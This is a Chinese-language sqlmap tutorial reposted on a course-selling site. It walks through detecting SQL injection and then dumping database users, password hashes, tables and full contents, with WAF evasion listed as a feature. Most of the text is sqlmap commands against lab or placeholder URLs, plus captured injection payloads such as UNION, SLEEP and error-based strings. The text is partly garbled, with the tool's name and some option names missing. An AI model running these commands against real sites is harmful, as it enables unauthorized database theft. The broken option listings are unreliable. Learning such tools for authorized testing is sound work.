支持自定义注入语句。

支持自定义注入深度和注入等级。

支持自定义报告输出格式。

提供waf、ips、ids检查和绕开,采用代理实现隐藏注入

可以导出数据库表和列,自动识别破jie哈希口令

支持脱库

使用

软件安装

在kali Linux和环境中都有,kali是自带的

基础操作

--v //显示版本信息

-h //帮助

-hh //详细帮助

-level=LEVEL //水平1-5,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了sql注入,也不要开的太大。

--risk=RISK //风险1-3,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。

默认扫完后会把信息存储在more /root/.//192.168.199.153/log 这个目录下,这是一个隐藏文件夹

GET注入原理

是一款自动化SQL注入工具,可以用于检测和利用Web应用程序中的SQL注入漏洞。

它可以通过GET或POST请求向Web应用程序发送恶意请求,以检测是否存在SQL注入漏洞。

以下是进行GET注入的原理:

会向目标URL发送一个GET请求,同时在URL中注入恶意代码。

目标服务器接收到请求后,将恶意代码传递给后端数据库。如果目标应用程序存在SQL注入漏洞,则数据库会执行恶意代码,并将结果返回给应用程序。

会分析返回的结果,以确定是否存在SQL注入漏洞。

以下是一个使用进行GET注入的示例命令:

sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1" --technique=E --answers="extending=N" --batch

初级扫描方案

探测是否存在sql注入漏洞

对于不用登录的网站sql注入,直接指定其URL

sqlmap -u "http://xxx/Less-1/?id=1"

直接扫到数据库类型为mysql数据库(输入y继续):

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

我们也可以使用一个参数--batch,这个参数可以省去询问,直接选择默认项,例如上面的扫描语句可以写成:

sqlmap -u "http://xxx/Less-1/?id=1" --batch

扫描出id部分存在盲注:

GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable                GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

扫描完成后,给出了一些验证漏洞的信息:

Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: id=1' AND 5728=5728 AND 'IxVn'='IxVn
Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: id=1' AND GTID_SUBSET(CONCAT(0x716a6b7171,(SELECT (ELT(8185=8185,1))),0x716b7a6a71),8185) AND 'QMiy'='QMiy
Type: time-based blind Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment) Payload: id=1' OR SLEEP(5)#
Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=-4446' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7171,0x697148456f7242714a57456c4c6541624b4a57775163786775634c564b72556b78505a5457584d70,0x716b7a6a71)-- -

扫描结果:

[06:28:00] [INFO] the back-end DBMS is MySQLweb application technology: Nginxback-end DBMS: MySQL >= 5.6

对于需要登录的网站,我们需要指定其

我们可以用账号密码登录,然后用bp抓取其填入

sqlmap -u  "http://xxx/sqli/Less-1/?id=1"   --cookie="抓取的cookie"

对于是post提交数据的URL,我们需要指定其data参数

sqlmap -u "http://xxx/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"

更便捷的做法:通过抓取http数据包保存为文件

这样,我们就不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便

如下,我们保存网站的访问数据包为data.txt文件:

sqlmap -r data.txt -p id

可以看到,我的网站存在防CSRF公鸡,注入失败

查看数据库信息

查看数据库的所有用户:

sqlmap -u "http://xxx/Less-1/?id=1" --users

查看数据库所有用户名的密码

sqlmap -u "http://xxx/Less-1/?id=1" --passwords

查看数据库当前用户

sqlmap -u "http://xxx/Less-1/?id=1" --current-user

扫到当前用户信息:

user: '@!'

判断当前用户是否有管理权限:

sqlmap -u "http://xxx/Less-1/?id=1" --is-dba

当前用户是不是root用户:

user is DBA: False

列出数据库管理员角色:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --roles

查看所有的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dbs

查看当前的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --current-db

得到当前数据库信息:

(03:25:33] [INFO] nt : ''

爆出指定数据库()中的所有的表:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --tables

得到所有表的信息

爆出指定数据库指定表中的所有的列:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --columns

爆出指定数据库指定表指定列下的数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users -C username --dump

爆出该网站数据库中的所有数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

举例如下:

基本语法:

是一款自动化SQL注入工具,可以用于检测和利用SQL注入漏洞。以下是的基本语法:

sqlmap [options]

其中,包括:

-u:指定目标URL。

--data:指定POST请求的数据。

--:指定。

--level:指定测试的等级(1-5)。

--risk:指定测试的风险等级(0-3)。

--dbs:获取所有数据库。

---db:获取当前数据库。

--:获取指定数据库中的所有表。

--:获取指定表中的所有列。

--dump:获取指定表中的所有数据。

-v:指定详细程度(0-6)。

以下是两个的例子:

1.获取所有数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2

2.获取指定表中的所有列

sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2

sql注入_sql注入拿站_防止sql注入

END

链接:

本文为经授权转载,转载文章所包含的文字来源于作者。如因内容或版权等问题,请联系进行删除

sql注入拿站_sql注入_防止sql注入


限时特惠:
本站持续每日更新海量各大内部创业课程,一年会员仅需要98元,全站资源免费下载
点击查看详情

站长微信:Jiucxh

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注